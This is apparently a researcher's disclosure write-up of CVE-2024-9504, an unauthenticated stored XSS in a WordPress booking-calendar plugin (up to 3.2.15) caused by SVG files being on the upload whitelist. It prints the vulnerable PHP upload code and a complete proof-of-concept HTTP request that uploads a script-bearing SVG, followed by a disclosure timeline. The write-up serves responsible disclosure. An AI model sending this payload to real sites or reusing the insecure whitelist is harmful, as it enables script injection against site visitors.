Hacked.be

CVE-2024-9504 - Stored XSS via SVG File Upload

Cover Image for CVE-2024-9504 - Stored XSS via SVG File Upload
Rein Daelman
Rein Daelman

CVE-2024-9504 highlights a security flaw in the "Booking calendar, Appointment Booking System" WordPress plugin (versions up to 3.2.15). The vulnerability opens the door for attackers to upload SVG files, resulting in stored cross-site scripting (XSS).

CVE-2024-9504

Recon

This issue was found by "grepping" through WordPress plugins, to find insecure filetypes in whitelists. The regex used that lead to this issue was: svg.*png. Yes, it was that simple...

The vulnerable function

In the save_reserv function, we find the following code validating the file-type:

if(count($_FILES)){
	$whitelist = array(".jpg",".jpeg",".svg",".gif",".webp",".mpg",".mpeg",".mp3",".tiff",".psd",".bmp",".raw",".png",".bmp",".pdf",".doc",".docx",".xls",".xlsx" );

	foreach($_FILES as $key => $file){
		$filename = basename($file["name"]);
		$file_ext = substr($filename, strripos($filename, '.')); // get file extention
		if (file_exists(WPDEVART_UPLOADS . $filename)) {
			$filename = $file["name"];
			$file_basename = substr($filename, 0, strripos($filename, '.'));  // get file name
			$filename = $file_basename . time() . $file_ext;
		}	
    
		if (in_array(strtolower($file_ext), $whitelist)) {
			if (move_uploaded_file($file["tmp_name"], WPDEVART_UPLOADS . $filename)) {
				$form[$key] = WPDEVART_UPLOADS_URL . $filename;
				$files[] = WPDEVART_UPLOADS . $filename;
			}
		}
}

As SVG's are part of the $whitelist array, we can simply upload any XSS payload. As this function is called via the wpdevart_form_ajax ajax action (nopriv), this can be exploited by any unauthenticated attacker.

Proof of Concept (PoC)

  1. Get the nonce used by the vulnerable plugin. This can be found in the HTML source of any page, in the script tag with the following id: wpdevart-booking-script-js-extra.
  2. Send the following POST request to upload the SVG:
POST /wp-admin/admin-ajax.php HTTP/2
Host: localhost
Cookie: <cookies>
Content-Type: multipart/form-data; boundary=---------------------------184883317039327747973502685961
Content-Length: 1759

-----------------------------184883317039327747973502685961
Content-Disposition: form-data; name="action"

wpdevart_form_ajax
-----------------------------184883317039327747973502685961
Content-Disposition: form-data; name="wpdevart_data"

{"wpdevart_form_checkin1":"2024-09-15","wpdevart_form_checkout1":"2024-09-15","wpdevart_count_item1":"1","wpdevart_form_field1":"random-data","wpdevart_form_field2":"random-data","wpdevart_form_field3":"x@x.com","wpdevart_form_field4":"random-data","wpdevart_form_field5":"random-data","wpdevart-submit1":"","wpdevart_extra_price_value1":"0","wpdevart_total_price_value1":"0","wpdevart_price_value1":"0","wpdevart_sale_type1":"","id":"","task":""}
-----------------------------184883317039327747973502685961
Content-Disposition: form-data; name="wpdevart_id"

1
-----------------------------184883317039327747973502685961
Content-Disposition: form-data; name="wpdevart_submit"

1
-----------------------------184883317039327747973502685961
Content-Disposition: form-data; name="wpdevart_nonce"

<INSERT-NONCE-HERE>
-----------------------------184883317039327747973502685961
Content-Disposition: form-data; name="file0"; filename="poc.svg"
Content-Type: image/png

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <script type="text/javascript">
      alert();
   </script>
</svg>
-----------------------------184883317039327747973502685961--
  1. Visit the uploaded file. Example URL: https://localhost/wp-content/uploads/booking_calendar/poc.svg

Timeline

  • 13th of september > Report submitted to WordFence
  • 4th of October > Validated and assigned a CVE
  • 10th of October > Bounty of $40 awarded
  • 17th of October > Issue fixed in 3.2.16
  • 25th of November > CVE published